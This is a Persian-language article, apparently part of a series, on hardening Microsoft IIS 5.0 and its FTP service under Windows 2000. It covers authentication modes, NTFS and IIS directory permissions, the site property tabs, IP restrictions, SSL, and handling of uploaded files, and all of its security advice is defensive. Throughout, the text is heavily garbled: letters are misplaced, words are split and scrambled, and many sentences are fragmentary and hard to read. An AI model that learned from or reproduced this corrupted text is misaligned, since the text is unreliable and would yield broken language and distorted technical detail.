ک ی ص آن توسط  ين امکان کشف و تشخ    ینام و رمز عبور واقعی هرگز در شبکه ارسال نخواهد شد ، بنابرا            . د  ینمااستفاده می   

اامن و تائ  ع ن د داشت   ي منب شده ، وجود نخواه تفاده از پروتکل    يتائ. د ن ا اس د ب اربران می توان  و پروتکل Kerberos V5د ک
Challenge/response  ود ،    استفاده در اکسترانت ها    ای مناسب برای  نه  ی گز  روش فوق، . رد  ی صورت پذ امکان  ( نخواهد ب

وق بمنظور   ) . روال وجود نخواهد داشت  یر برنامه های فا   یا سا ی و   Proxy  س دهنده یک سرو یق  یت آن از طر   يفعال از روش ف
  .من ، استفاده می گرددینترانت های ایبرپاسازی ا

تفاده از ترک   ک  ردی می تواند بگونه ای صورت پذ      IISکربندی  يپ ار و  ي ب روش های تائ ي ه امکان اس ش ي در آن پ  Anonymouseد اعتب
رای       ی ن مواردی ، می توان ا     يدر چن . نی گردد   يب ا  ی ن امکان را ب اوت ا     یک س ه دارای بخش های متف راهم آورد ک رحساس  يمن و غ یت ف

تفاده   ي ، کاربران همواره و در حالت اول استفاده می گردد Anonymouse بهمراه   Authenticationک مدل   یکه از   يزمان. باشد   ا اس ه ب
ردد  Failکه درخواستی  يزمان.  خواهند نمود Log onت ی به سا IUSR_Computernameاز  ه عدم وجود مجوزهای       (  گ ا توجه ب ب

رای             رنده ارسال يس گ ی، پاسخی برای سرو   ) ک منبع   یابی به   يلازم بمنظور دست   ت  که نشاندهنده عدم وجود مجوز لازم ب ع     يدس ه منب ابی ب
وق ، ل       . مورد نظر است     اوت تائ        ي همراه با اطلاعات ف دل های متف ه توسط سرو        ي ستی از م ار ک ده حما   ید اعتب ردد، ن  ی س دهن ز ي ت می گ

رد  یامی را نماين راستا به کاربر پیرنده در ايس گیمرورگر سرو. ارسال خواهد شد    ش و از وی درخواست نام و رمز عبور را خواهد ک
د شد ، در صورت   یبرای سرو) نام و رمز عبور کاربر ( امه اطلاعات مورد نظر     در اد   . اربر دارای مجوز   يس دهنده ارسال خواه که ک

  . لازم باشد ، امکان استفاده از منبع مورد نظر برای وی فراهم خواهد شد 

   ) Directory(ت فهرست يريمد

  
ه در سطح    ی علاوه بر مجوزهای مربوط به فا ا ک ردد ،     ي  سل و فهرست ه رار می گ ام    IISستم عامل برق ا ن انی ب  Application ، امک
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level Permission  ت وده اس ه نم اب گز یدر ا.  را ارائ ان انتخ تا ، امک ائی نظ ین راس ه ه  Read , Write , Directory: ر ين
Browsing ,Scripts only و Scripts and executables      راه ان بهم وان از آن ات ی  فهرست های شامل محتو     وجود داشته و می ت

  .  استفاده کرد FTP و wwwس های یمربوط به سرو

•  Read . د ی را فراهم می نما رندهيس گیات برای مرورگر سرویمجوز فوق ،امکان مشاهده و ارسال محتو.  
•  Write . ،ژگی ی به کاربرانی که مرورگرآنان دارای و مجوز فوقPUT )   تاندارد است   ) HTTP 1.1مربوط به پروتکل اس

ه  یگز.  را خواهد داد write-enabledل یک فایات یر محتوييا تغیس دهنده و   یل هائی برای سرو   ی نمودن فا  Upload، امکان    ن
د "  و صرفا   ار کاربران قرار داده نمی شود      ي در اخت   فوق ،  وق ،       یریم وع خاص و محدودی از مجوز ف ه ن از ي  ن ت مربوطه ب

  . خواهد داشت 
• Directory Browsing امی فا    يس گیک سروی ، مجوز فوق ، به شاهده تم ده امکان م ک فهرست را  ی ل های موجود در   ی رن

دگان عمومی      یدر رابطه با سرو   " از مجوز فوق صرفا   . خواهد داد    ا       FTPس دهن تفاده و در س تفاده ازمجوز    ی اس وارد ، اس ر م
   . ه نمی گردديفوق ، توص

• Scripts .        رد    یطح اسکرمجوز فوق ، امکان اجراء را در س د ک ه های    یدر موارد. پت ها محدود خواه ا ی  و CGIکه از برنام
ASP         ا می با  یل های مربوط به اسکر یانشعاب فا.  استفاده می گردد ، استفاده از مجوز فوق ، لازم خواهد بود بلا ی پت ه " ست ق

  .  شده باشد map مربوطه ، Scriptingبه برنامه های 
• Scripts and Executables . ه های    مجو رد   DLLا ی  و EXEز فوق ، امکان اجرای برنام د ک راهم خواه ر   (  را ف علاوه ب

ای یامکان اجرای فا تفاده از آن.   ) CGI و ASPل ه وق ، اس ودن مجوز ف ه حساس ب ا توجه ب وارد خاص و  ب  بجزء در م
  . ه نمی گردد يکنترل شده ، توص" کاملا

  . م نمود ي ، تنظFTP و www محاوره ای مربوط به خصلت های ش جعبهیمجوزهای فوق را می توان همزمان با نما

  س دهندگان و فهرست های مجازی يت در رابطه با سروياعمال محدود

  
ه حما IIS که بر روی آن  وتریين امکان را فراهم می آورند که کامپ یس دهندگان مجازی ،ا   یسرو د ی  اجراء شده است، قادر ب ن یت از چن

Domain Names )  دی يدر زمان پ  .باشد) ت  یوب سا ده مجازی    یک سرو  ی   کربن رای ا    س دهن ده    یجادسرو ی ب و هر      Primaryس دهن
  :ريس دهندگان مجازی ، به اطلاعاتی نظیک از سروی

 )Host Header Names(NHN ا آدرس های ی وIPر روی آن    یک سرو یب ، ين ترتیبد. از خواهد بودي ، ن ه ب ده ک  نصب  IISس دهن
رفا  امل ص اری" و ش د    ک ک ه م ادر ب ت ، ق بکه اس ایریت ش ود   یت س د ب دد خواه ای متع   . ت ه

IIS   د داد  یاز برای انتشار بر روی سايک نام مستعار برای فهرست های حاوی اطلاعات مورد ن  یف  ی ، امکان تعر وق   . ت را خواه ام ف ن
رکتوری های مجازی از منظر    یدا. د می توان از آنان استفاده کر URLرکتوری مجازی شناخته شده و در آدرس های    یک دا ی، بعنوان   

ه    یملاقات کننده سا   وری اصلی   ی از دا ت ، فهرست هائی هستند ک د      / wwwrootرکت شعاب شده ان ا دا  . ، ان وری های   یدر رابطه ب رکت
وان سيمجازی ن ای امنيز می ت ودياست ه ال نم ی خاصی را اعم ای یدر ا. ت وان از مجوزه تا می ت  Read,Write,Directoryن راس

Browsing,Script only و Scripts and executables رد تفاده ک ه ی ، اReadمجوز .  ، اس ان را ب ده يس گیک سروین امک رن
وری مجازی و   یک دای ره شده در   ي ل های ذخ   یخواهد داد تا فا    وری  یدا" صرفا . د ی  نماDownloadرفهرست مربوطه را   یا زی رکت رکت

بمنظور ممانعت از   .  باشند Readست دارای مجوز ی می باشند ، می باDownloadا یو از برای نشر   يهائی که شامل اطلاعات مورد ن     
Download  ان در دا       يپت ها ، توص   یا اسکر یل ها ی اجرائی و      ی نمودن فا ه آن ردد ک رفتن     یه می گ دون در نظرگ وری های مجزاء ب   رکت

وز  د، اReadمج ستقر گردن وعی ، م ی با ی دا ن ن ازی م ا ی مج وری ه وز ست دارایرکت  Scripts andا ی و Scripts onlyی مج
executablesرندگان وب قادر به اجرای آنان گردند يس گی بوده تا سرو .  

  خلاصه 

  
  : شنهاد می گردد ير پیس دهنده وب ، موارد زیکربندی سرويدر زمان پ

ر اساس آدرس های    ت های لایم مناسب اتخاذ و متناسب با آن ، محدود    يت ، تصم  یابی به سا  يدر رابطه با نوع دست     • ا ی  و IPزم ب
Internet Domains اعمال گردد ، .  

  . ط مورد نظر، وجود دارد ي در محCertificates و SSL  ا ضرورتی به استفاده ازید که آيمشخص نمائ •
ه در ا ین گزی متداولتر Anonymouseروش  . د  ي، کاربران انتخاب نمائ   " د اعتبار   يتائ" ک روش موجود را برای      ی • ه  يمن زی ن ن

  . د یت می نمای را حماSSLت مورد نظر تکنولوژی ی استفاده گردد که ساBasic authenticationدر صورتی از . است 
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جاد یا ) Webusers( ، برای گروه کاربران عمومی  ) NTFS  از مجموعه مجوزهای ( Readرکتوری هائی را با مجوز     یدا •
ه  Read onlyارای مجوز ست دین می بايرکتوری ها ، همچنین دایا. دينمائ ان تنظ  IIS مربوط ب ا ي در زم  و FTPت های  یم س

www   رای سرو    رکتوری ها ی فوق ،    یدا.  باشند شاهده و    يس گی شامل اطلاعات لازم ب دگان بمنظور م  ،  Download  ای رن
  . خواهند بود

  با گروه کاربران عمومی در رابطه  " صرفا ) NTFS  از مجموعه مجوزهای   ( Read&Executeرکتوری با مجوز    یک دا ی •
)Webusers ( ست دارای مجوز ین می بايرکتوری همچنین دایا. جاد گردد یاScript only )   مربوط به مجوزهایIIS (  در

  . پت ها ، می باشد یر اسکريل های اجرائی نظیرکتوری فوق ، شامل فایدا.  گردد wwwت یکربندی سايزمان پ

ال و  ISMت ، برنامه یکربندی وب سايبمنظور پ. م پرداخت يس وب خواه یکربندی سرو ي و پ  ميدر این بخش  به بررسی نحوه تنظ         را فع
ه سمت راست موس ، گز           یدر ادامه بر روی وب سا      ه  یت مورد نظر مستقر و با فشردن دکم ه  . د ي  را انتخاب نمائ Propertiesن در ادام

شر   . مات مورد نظر فراهم خواهد شد ي انجام تنظ و امکان شیت نمای وب سا کربندیي مربوط به پ    جعبه محاوره ای   ه ت ه ب ح هر  یدر ادام
 .م پرداخت ين بخش خواهیک از امکانات موجود در ای

  

- Web site Tab  :ر را انجام داد یمات زين بخش می توان تنظیدر ا :  

• Web site Identification . ه وب س    ( ک مشخصه ین بخش می توان یدر ا سبت داده شده ب ان    یانام ن تفاده در زم ل اس ت قاب
وان آدرس  ین در ا يهمچن. ف نمود یت تعر یرا برای وب سا   )  ISMدرخت   ش  ینما ه ا  IPن بخش می ت وط ب رف ی مرب ارت  ينت س ک

ا  شبکه ورت  ی ت ، ی مسئول پاسخگوئی به س ورت  TCPک پ ود   SSL و پ  ، Advanced optionsدر بخش  .  را مشخص نم
   ) . mapping(  ، نسبت داد IPک آدرس ی را به host headerا ی و domainن نام یمی توان چند

• Connections . د یت را فراهم می نمایک وب سایابی همزمان به يت در رابطه با تعداد دست  ینه فوق، امکان اعمال محدود    یگز
وان،        ینه های موجود در ا    یبا استفاده از گز   .  ان    ی ن بخش می ت رد    Timeoutک زم ه  یدد ، گزشنهاد می گر  ي پ.  را مشخص ک ن

ال کردن   ي ری لازم در خصوص تهاجم اطلاعاتی از نوع غيشگيفوق انتخاب و مقدار مورد نظر به آن نسبت داده شود تا پ          ر فع
  .جاد گرددیس ، ایسرو

• Enable Logging. ات   یپس از فعال شدن گز. نه فوق ، فعال گرددی گز شنهاد می گردد کهيپ ه ملاق نه فوق،اطلاعات مربوط ب
  . ـت،ثبت خواهد شدیاکنندگان س

-  Operators Tab . ر را انجام داد یمات زين بخش می توان تنظیدر ا :  

  

• Web Site Operators . روه    ن بخش می توانیاز امکانات موجود در ا اربران /  بمنظور مشخص نمودن گ ورد نظر ،    ک  م
روه ب  ی ست  ی  فوق ، می با     Account. ت، استفاده کرد  یت وب سا  یریجهت مد  ده در  یکه سرو يدر صورت ( اشد  ک گ ک ی س دهن

domain   باشد  . (account  د داشت   یری دارا بودن مجوزهای مد  در گروه ضرورتی به  های موجود ا ،  . تی نخواهن اپراتوره
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ا    در رابطه با خصلت هائی می باشند که    راتيي قادر به اعمال تغ     "صرفا ان وب س ود   ی محدوده اثر آنان هم د ب ن ی ا. ت ، خواه
ت        نو ه دس ادر ب اربران ق ام              يع ک ه عملکرد تم وط ب ه مرب ائی ک ه خصلت ه ده و ی ،سرو IISابی ب دوز  یس دهن ه  ٢٠٠٠ن  را IIS ک
ور وب می    ی اتی را که    ي نمونه عمل   . ، نخواهند بود    ستم بر روی آن اجراء می گردد      يا شبکه ای که س    یزبان نموده و    يم ک اپرات

 : تواند انجام دهد ، عبارتند از 

  
  ) ر ، اضافه و حذف ييتغ( ات وب ی محتوتیری مد-

   Logging فعال نمودن -

  ش فرض وب ير اسناد پيي تغ-

  
روه          یابی سرو يم مجوزهای دست  ي تنظ - ه عضوء گ دوز  ی وAdministratorsس دهنده وب کاربرانی ک ه     ٢٠٠٠ن ادر ب ند ، ق  می باش

  : ر خواهند بود ی ، زIISات مرتبط با يانجام عمل

  ) جدا سازی برنامه  (  ون برنامهيسزولایر در ايي تغ-

  ر آنان ير مسييا تغیرکتوری های مجازی و یجاد دای ا-

   Anonymousر نام و رمز عبور يي تغ-

  ـت یک وب سایکربندی يا پیر مشخصه و يي تغ-

-  Home Directory Tab . وط   يتنظ. داد مات متعددی را انجام ين بخش می توان ، تنظیبا استفاده از امکانات موجود در ا مات مرب
ائی در ا ASPکربندی و اشکال زدائی  يابی ، پ  ي ، مجوزهای دست    ات وب ی کنترل عرضه محتو    به ند   ين زمی  ، نمونه ه ه می باش امی  . ن تم
 . ، پوشش داده می شوند  A directory located on this computerق یت از طريمات مرتبط با امنيتنظ

  

Access Permissions . ا مجوزهای   ین محل می بای مجوزهای موجود در امجموعه د  ی مطابقت نما  NTFSست ب وط  ي عمل. ن ات مرب
وان   یف مجوزهای مناسب برای سایرکتوری ها و تعریکربندی دا يبه پ  ا عن ل ازنصب   ي عمل:" ت ها ، ب ه  ن مقای  ا اول بخش   در" ات قب ل

  .د یاشاره گرد

  : ررا انجام داد یمات زين رابطه می توان تنظیدر ا: ات یکنترل محتو

• Script Source access . ه در یبا انتخاب گز ود  Sourceل های  ی افت فا ینه فوق ، کاربران قادر ب د ب که يدر صورت  .  خواهن
ه یگز دن Readن ه خوان ادر ب اربران ق ردد ، ک ان بازنوWriteه کي و در صورت Source انتخاب گ ردد ، امک سی ی انتخاب گ

Sourceد گرفت    ي  در اخت رار خواه اربران ق ت   Script Source access .  ار ک ه  ي ، شامل دس ا  ی اسکر  Sourceابی ب پت ه
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ردد ، گز     يپ.  است   ASPک برنامه   یپت های استفاده شده در      یر اسکر ينظ ان صورت پ           یشنهاد می گ ه هم وق ب ه ف ( ش فرض    ين
د و  ي م ، مف  يکه قصد نشر و ارائه اطلاعات از راه دور را داشته باش              يدر زمان "  صرفا  ژگی فوق، یو.  باقی بماند    )انتخاب نشده   

   ) WebDAVر ينظ( ضروری خواهد بود 
• Directory browsing . ا انتخاب گز وق ، لیب ه ف ا و فایستی از داين وری ه ر روی سیرکت  بصورت  ستميل های موجود ب

hypertext نه فوق فعال نگرددیشنهاد می شود ، گزيپ.ش داده خواهد شدیاربران نما ، برای ک .  
• Log visits . ردد ، گزيپ ی گ دیشنهاد م ال باش وق فع ه ف صورت پ( ن ال استيب دن گز) . ش فرض فع ال ش ا فع وق ، یب ه ف ن

  .  ثبت خواهد شد  )ت یملاقات کنندگان سا(  تمامی کاربران  اطلاعات مربوط به

- Application Settings . وری یک دای   ل های موجود بهمراهیرکتوری ها و فایک برنامه ، دا   ی ه   رکت ه     است ک    نقطه شروع برنام
  : ر را انجام داد یمات زين بخش می توان تنظیدر ا.دیرا مشخص می نما

• Application protection . وق باعث ایگز ه ف ودن ین ه نم ر وب از طریزول ی ب ه مبتن تقرار یک برنام انی ق اس آن در مک
دار گز  يپ. س دهنده وب ، می گردد    یر برنامه ها و سرو    یز از سا  یمتما ردد ، مق وق ،   یشنهاد می گ ه ف  در highا ی  و mediumن

ود ه ش دار يدر صورت. نظر گرفت ده باعث پ mediumکه مق ال ش ردد ، حفاظت اعم اب گ سائل يشگي انتخ ا از م ه ه ری برنام
وق ،  یکه مقدار گزيدر صورت. س دهنده وب ، خواهد شدیا نرم افزار سرو    ب  بوجود آمده تصادفی و سهوی مرتبط       در highنه ف

د  ير برنامه ها تاثین حالت بر روی سا  ینظر گرفته شود ، برنامه بطورکامل در فضائی جداگانه از حافظه اجراء و در ا               ر نخواه
  . گذاشت 

• Execute Permissions . ه های موجود در دا   ن بخش ، اجراء برنیمات موجود در ايتنظ رل می نما   یام وری را کنت د  یرکت . ن
وان از تنظ  یدر ا ی ت ه م ات زين رابط رد  یم تفاده ک   : ر اس

- none .   رای ت در اج ث ممانع ا و   باع ه ه کری برنام ردد   یا اس ی گ ا م   .پت ه
- Scripts . پت ، یبه برنامه های اسکر " لی که قبلایانشعابات فا( پت ها اعمال خواهد شد     یت اجراء در رابطه با اسکر     یمحدود

اربران    مربوط به Read  ست ، امکانیرکتوری هائی که مجوز فوق ، به آنها داده می شود، می با     یدا) . نسبت داده شده اند       ک
ه    Readکه مجوز    يدر صورت . ، از آنها سلب گردد     ) Anonymouse( ناشناس   شاهده       account ب وق ، داده شود، امکان م  ف

رمز  : ر يبرخی از اطلاعات ممکن است حساس باشند نظ.( پت ها ، برای کاربران فراهم خواهد شد    یر اسکر اطلاعات همراه د  
ور    ) عب

- Scripts and Executables . ه ای      یگز وع برنام ا  ی پت و فایاسکر ( نه فوق، امکان اجرای هر ن ل ی ر فاي نری نظیل های ب
وق ، می با     در زمان   . د  یرا فراهم می نما    .) dllا  یو   . exeهای   د نظر داشت     يست حساس ی واگذاری مجوز ف . ت خاصی را م

ا  ی  که از فا رکتوری هائی واگذار گرددیست در رابطه با دا   یمی با " مجوز فوق، صرفا   ان سرو   نری موجود یل های ب س ی در آن
ا  يت نیکه کاربران سايدر صورت. دیدهنده وب استفاده می نما     ور یک دای ازمند مجوز فوق در رابطه ب ند ،    رکت ی خاص می باش

اربران   NTFS مربوط به writeد که آنان دارای مجوز     یمطمئن شو  ا ک ا anonymous در ارتباط ب د    ی س ورد نظر نخواهن ت م
ر روی سرو        یمجوز فوق ، شرا    .  بود وق ،       یط لازم برای استقرار کدهای اجرائی ب دهای ف راهم و ممکن است ک ده را ف س دهن

  .ندیک تهاجم اطلاعاتی را فراهم نمایوع  شر نهيکدهای مخربی باشند که زم

- Application Configuration  .  ه   (  برنامه ها ، می توان از امکان          شتر مرتبط با  يات ب يم جزئ يبرای تنظ   Configuration) دکم
رد    تفاده ک ه  . اس ا    ی در ادام ه نم ه محاوره ای جداگان ه دارای گز یک جعب ه های   یش ک  App Mappings , App Options , App:ن

Debugging و Process Options ) که مقدار يدر صورتHigh در رابطه با application protection است  ) . انتخاب شده باشد 
.  
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• App options Tab . ا  ين بخش می توان ، اقدام به پیق امکانات موجود در ایاز طر دی وب س وری مجازی   یت ، دایکربن رکت
   .رکتوری نمود ی داlevel  و

  
- Enable session state   وSession timeout  . ا اب گز ب وق ، ی انتخ ه ف ه  ASPن ه برنام ه ب اربری ک ر ک رای ه  ASP ب

شخ    ين ترت یبد. د  یجاد می نما  ی ا Sessionک  ید  یدا می نما  يابی پ يدست اربر در ب     ص  يب امکان ت د  يک  موجود در    ASPن صفحه    ین چن
ان تعر   ی د و ی صفحه ای را درخواست ننما که کاربر يزمان. برنامه ، فراهم می گردد   Session( ف شده  ی ا صفحه را در مدت زم

timeout (  ازخوانی د   Sessionد ، ی ننما  )Refresh( ، ب د ش ف خواه   .  متوق
اند ،   یپت در زمان تعریک اسکریکه ي ، در صورتASP Script timeout با مقداردهی - ام نرس ک ی ف شده اجرای خود را به اتم

entry  درEvent logدار  يتنظ . پت خاتمه داده می شود   یجاد و به اجرای اسکری ا٢٠٠٠ندوز ی و ری يشگي  باعث پ Timeoutم مق
وع غ اتی از ن اجم اطلاع روز ته روياز ب ودن س ال نم ردد یر فع ی گ رو( س م ار س   ) س یانک

ردد ، گزي پ- ی گ ه یشنهاد م د ي ، غEnable parent pathsن ال باش د. ر فع ای یکرب اسين ترتیب تفاده از ASPپت ه ان اس  امک
س ه دا Relativeرهای يم سبت ب ادر دا ی ن وری م ت   یرکت د داش اری را نخواهن وری ج ر . ( رکت ورت" .. " ) . گرام   کهيدر ص
ر مجاز  يک برنامه غ  یپت می تواند تلاشی را در جهت اجرای         یک اسکر ی را فراهم نموده باشد ،       Executeرکتوری مادر امکان    یدا

  .. دیوری مادر ، آغاز نمارکتیدر دا

• Process Options Tab . ه  ین رابطه گز ی در ا در " صرفا  (  Write Unsuccessful client requests to event logن
  . ، ارائه خواهد شد )  در رابطه با حفاظت برنامه انتخاب شده باشدHighون يزولاسیکه ايحالت

- Documents Tab . واره   ) شبکه  ( ستم  يت س یریشنهاد می گردد ، مد    يپ ند پ    ی هم اربران در             يک س امی ک ا تم ش فرض را مشخص ت
ا   ي ن ترت یبد. ندیت آن را مشاهده نما    یابی به سا  يزمان دست  اه ساختار دا     یب از نم وری ، پ   یش ناخودآگ ت يوضع . د ی ری بعمل می آ  يشگي رکت

 .  فعال شده باشد Directory browsingنه یفوق زمانی انجام خواهد شد که گز

  

- Directory Security Tab  .  ا      يخصلت های امن ا وب س وان در رابطه ب ی را می ت وری ، دا یت ، دایت وری مجازی و   یرکت ا ی رکت
Level  ل ، اعمال نمودیفا .  

  

• Anonymous access and Authenticated access  ا گز ه ، توض      ی ، در رابطه ب ل مقال وق در بخش قب ه ف ه  ين حاتی ارائ
  . ده است یگرد

• IP Address and Domain Name Restrictionsتفاده از گز    يران سی ، مد ا اس د ب اربران مجاز     یستم می توانن وق ، ک ه ف ن
ه ا  ب تفاده از وب س اس آدرس   ت رای اس ر اس شخص نما IP ب ه ، م دی مربوط ه دو گزیدر ا. ن ردد    ین رابط ی گ ه م ه ارائ : ن
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Granted Access و Denied Access .   ا انتخاب گز ه  یب امی کامپ Gtanted Accessن ا، ي ، تم تفاده از     وتره ه اس  مجاز ب
ر روی س ابع موجود ب ود بجزء آنهائيمن د ب ه آدرس يستم خواهن ده است IPک ان مشخص ش انDenied Access.  آن    ، امک

ط " ( ستم را صرفا   يابی به منابع س   يدست رای کامپ  ) فق ه آدرس    يب ائی ک ان مشخص شده است ، م    IPوتره  در. سر می سازد   ي  آن
د شد   یوترها ، ناد  ير کامپ یافتی از سا  ین حالتی درخواست های در    يچن  را مشخص می    IPکه آدرس های   يزمان. ده گرفته خواه
ک آدرس  ی " صرفا ) ستم  يس( ت شبکه   یرین حالت مد  ی ، در ا   Single Computer: م بود يگر خواه ینه د یم ، دارای سه گز    ينمائ
IPد ی را مشحص می نما .Group of computersد ی ، در ا  را مشخص و  Sbunet mask و network IDت یرین حالت م

ردد ، Domain nameکه يدر زمان ايک پی انتخاب می گ اهش . (ش داده می شود یام هشداردهنده نم وق باعث ک انتخاب ف
تفاده  ، اس DNS Reverse lookupست از ی ن حالتی برای هر درخواست اتصال ، می با   يدر چن) . ستم خواهد شديکارآئی س

  . گردد 

  

• Secure Communicationsژگی های یکربندی وينه فوق ، بمنظور پی ، از گزSSL    ر روی سرو ل دسترس ب ده  ی قاب س دهن
ام     یرنده و سرويس گین سرويک بينه فوق ، تمامی ترافیبا انتخاب گز. وب ، استفاده می گردد       س دهنده بصورت رمز شده انج

د   د ش س از پ. خواه دی لازم ،يپ ا کربن دگان س ات کنن ی بای ملاق تفاده نما یت ، م ائی اس ه از  یست از مرورگره د ک  Secureن
Communicationsات مربوطه در مقالات آتی ارائه می گردد يجزئ. ( ندیت می نمای ، حما. (  

- Server Extensions Tab.   برنامه IIS 5.0ردد ،   ي پ. دی د و نشر اطلاعات از راه دور را فراهم می نما ي ، امکان تول شنهاد می گ
ه  ی گز  ،IISس دهنده یت های موجود بر روی سرویک از وب سایبرای هر  ردد   ي  ، غenable authoringن ال گ وق ،   یو. ر فع ژگی ف
 ، قرار خواهد  Frontpage  ار برنامهي در اخت ت رای بر روی وب سا  نمودن آنUploadت یک صفحه وب و در نها   یر در   ييامکان تغ 

  .داد 

  .م پرداختي، خواه FTP سی، به بررسی سرو ن مقالهی پنجم ادر بخش

  

تفاده از سرو   . م پرداخت ي خواهFTP  سیکربندی سرويم و پين بخش به نحوه تنظیدر ا ا اس ، ) FTP) File Transfer Protocolس یب
ه       یا در ی رندگان قادر به ارسال و      يس گ یسرو ده    یک سرو  ی از  / افت اطلاعات ب ند      FTPس دهن ا ا .  می باش ا و  ي نکه برخی از قابل  یب ت ه

ای  ائی ه ر روی اFTPتوان ت،ی ب رو نترن ا ) www( س وب ی توسط س ه و ج رو یگزیارائ تفاده از س ی اس ده است ول  ،  FTPس ین ش
داول است        ردد ، پ   ي پ. همچنان امری مت دی سرو  يشنهاد می گ ده  یکربن ه امکان ارسال فا      FTPس دهن ردد ک ام گ ه ای انج ل توسط  ی  بگون

رو دگانيس گیس رو  رن ه س ده ی ب اربران ) Uploading( س دهن لا  از ک لب و عم ان چن "  س اليامک د   ين فع ته باش ود نداش در . تی وج
س       يکه با توجه به س    يصورت ه پتان ثلا   یک دای از باشد ،  ي  اشاره شده ن     لياست های سازمان ب وری مجزاء م ام   " رکت ا ن را   \ Incomingب

ت     ي امن مات ي تنظ ستیجاد و می بای ا رندگانيس گیل های ارسالی توسط سرویافت فایبرای در  وع دس ی خاصی را از منظر ن ه آن  يت ابی ب
وق ، می با      یدا. کربندی نمود يف و پ  یتعر ه س               ی رکتوری ف ا توجه ب م ب شاهده دائ ی تعر ياست های امن  يست تحت نظارت و م ف شده در  ی ت

 . قرار داشته باشد  سازمان

   FTPرکتورهای يسازماندهای دا

  
ده    یت مناسب سرو  یکنترل و هدا  بمنظور   ه دا       ي  ، پ  FTPس دهن ردد ک ر اساس س        یشنهاد می گ ا ب وری ه   است های مشخص شده ای        يرکت

وری باشد     یات دا یست نشاندهنده محتو  ی می با   رکتوری ها یل ، اسامی دا   یافت فا یبرای در . جاد و سازماندهی گردند     یبرای کاربران ا   . رکت
ر اساس     ) Device Drivers ( ورهای مربوط به دستگاهها یدرا" مثلا د ب رتبط و       ی دا می توانن ه م د ک ائی سازماندهی گردن وری ه رکت

ابی مجاز ، فقط خواندنی يست سطح دستیرکتوری ها ، می باین نوع دا یدر رابطه با ا   . ستم عامل مربوطه باشد     يهماهنگ شده با اسامی س    
 )Read only ( ل از ا  يس گیل های ارسالی توسط سرو یاره سازی موقت في برای ذخ .در نظر گرفته شود دگان و قب ان را در   یرن نکه آن
ائیدا ستقر نم وری م ان يرکت ه امک ی باDownloadم ک ردد ، م راهم گ ان ف ومی آن وری موقت رایک دایست ی عم اد و پس از ی ا رکت ج
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ی ، فا ي و بررسی مسائل امن  توسط کاربران در آن   ل های ارسالی  یاستقرار فا  ه    ی را در دا د شده ي ائل های ارسالی ت  ی ت وط ب وری مرب رکت
Download ود ستقر نم ومی ، م وری یدا.  عم ت ، رکت ی با موق تن  دارای"  صرفا ستی م وز نوش رای ) Write(  مج  Account  ب

ه  وط ب وری یدا.  باشد anonymousمرب رای FTPرکت ه ب اربران پDownload ک ودن ک ردد ، صرفاي نم دی می گ ست یمی با" کربن
و دنی  "ز دارای مج ط خوان د " فق ت زم   یرو. باش ن اس وق ، ممک رد ف دکی ن   يک سائل ان از م ه س ناس    ين اربران ناش ه ک د چراک ( ز باش

anonymous (    ل های   یقادر به مشاهده فاUpload   ا حذف   یر و   يين امر آنان را در مقابل تغ      یر کاربران نمی باشند ولی ا     ی شده توسط سا
شاهده   یره که سايرکتوری موقت ذخیک دایر کاربران در یرسالی توسط سال های ایفا( ل ها ،محفاظت خواهد کرد  یفا ر کاربران امکان م

ا یریل های ارسالی و استقرار آنان توسط مدیآن را نخواهند داشت ، پس از بررسی لازم در خصوص فا   وری عمومی   یت در دایت س رکت
د شد        ي ر کاربران ن  ی ، امکان استفاده از آنان برای سا       Downloadدر نظر گرفته شده برای       راهم خواه وق ، همچن      یرو .   )ز ف ن يکرد ف

انونی يره سازی نرم افزارهای غ ير مجازی که اقدام به ارسال و ذخي کاربران غ    را در مقابل   FTPت  یسا   hackingا ابزارهای  ی  و  رق
ه دا  ل های ارسالی تویست بصورت مستمر فایت ، می بایت سا یریمد .  دیند ، حفاظت می نما    یمی نما  اربران ب وری موقت  یسط ک  را  رکت

س از اطم  ی و پ سائل امن يبررس ان از م ا ين ی وس ان را دا   یت ر ، آن ورد نظ وارد م تص  یر م وری مخ ستقر نماDownloadرکت . د ی، م
   .  ست دارای مجوز فقط خواندنی باشدیمی با" رکتوری فوق ، صرفایدا

FTP site Tab  

  
 FTPس ی می باشند ولی کاربرد آنان در رابطه با سروweb site Tabهای موجود در ن بخش مشابه خصلت یخصلت های موجود در ا

ود     د    ی در ا .خواهد ب ا  یرین رابطه م ا            تیت س رای س د ، مشخصه ای را ب داد اتصالات و تنظ    FTPت ی می توان رل تع ان  ی م ي ، کنت ک زم
اط  ه گزيتوص. د یف و مشخص نمای تعرTimeoutارتب ردد ک ه یه می گ ان Enable loggingن ودن زم رای مشخص نم  انتخاب و ب

Timeoutوع   " اي ت شده و ثانینه از سايباعث استفاده مطلوب و به"  ، مقداری در نظر گرفته شود که اولا وان حملات از ن  Denial  بت
of Service :   DoS ) ص داد يخ تش را کنترل و) س و خدمات به کاربران مجازی سرو جاد اختلال در ارائهیرفعال نمودن و ايغ .  

  

 

Security Accounts Tab  

  
ود در ا ات موج تفاده از امکان ا اس تیب وان دس ا  anonymousابی ين بخش ، می ت ای س دی ي مشخص و پ  راFTPت یو اپراتوره کربن

ا محدود      Allow only anonymous connectionsشنهاد می گردد که يپ. نمود ت ی، انتخاب ت ا اتصالا   " ابی صرفا يت دس رتبط ب ت م
anonymous ه  یپس از انتخاب گز.  گردد ود          log onنه فوق ، کاربران قادر ب د ب ور واقعی خود نخواهن ام و رمز عب ا ن در (  نمودن ب

ه         يچن وط ب اربر  accountن حالتی اطلاعات مرب د شد                   ک دون رمزنگاری ارسال خواه د ) .  بصورت شفاف و ب س یب ، سرو   ي ن ترت یب
ده  لات FTPدهن ی حم ل برخ ن است از   در مقاب ه ممک دaccount ک ردد ،   یا یستم و يت سیری م تفاده گ از سوءاس اربران مج ی از ک ک

ن ی در ا ) . س دهنده باشند    یابی به سرو  ي دارای مجوزهای خاصی در ارتباط با دست         های فوق، می توانند    account( محفاظت خواهد شد    
ا   ینه فوق ، محدود ی گزز اشاره گردد که حتی با انتخابين نکته نیرابطه لازم است به ا ا     log onتی در رابطه ب اربران مجاز ب  نمودن ک

ا     براساس عادت  کاربری که به  .  بوجود نخواهد آمد      استفاده از نام و رمز عبور مربوطه       ا نم ه ب ام و رمز    FTPام ي ش پی در مواجه  ، ن
سئله توجه    یست به ا  ید ، می با   یت وارد می نما   یعبور خود را برای ورود به سا       ی اگر درخواست     ی  نما ن م ه حت ه نگردد ،   ی وی پذ د ک رفت

ا        رتبط ب ه رمزنگاری،      accountولی با توجه به ارسال اطلاعات م ال هرگون دون اعم د زم    وی بصورت شفاف و ب روز   ي می توان ه ب ن
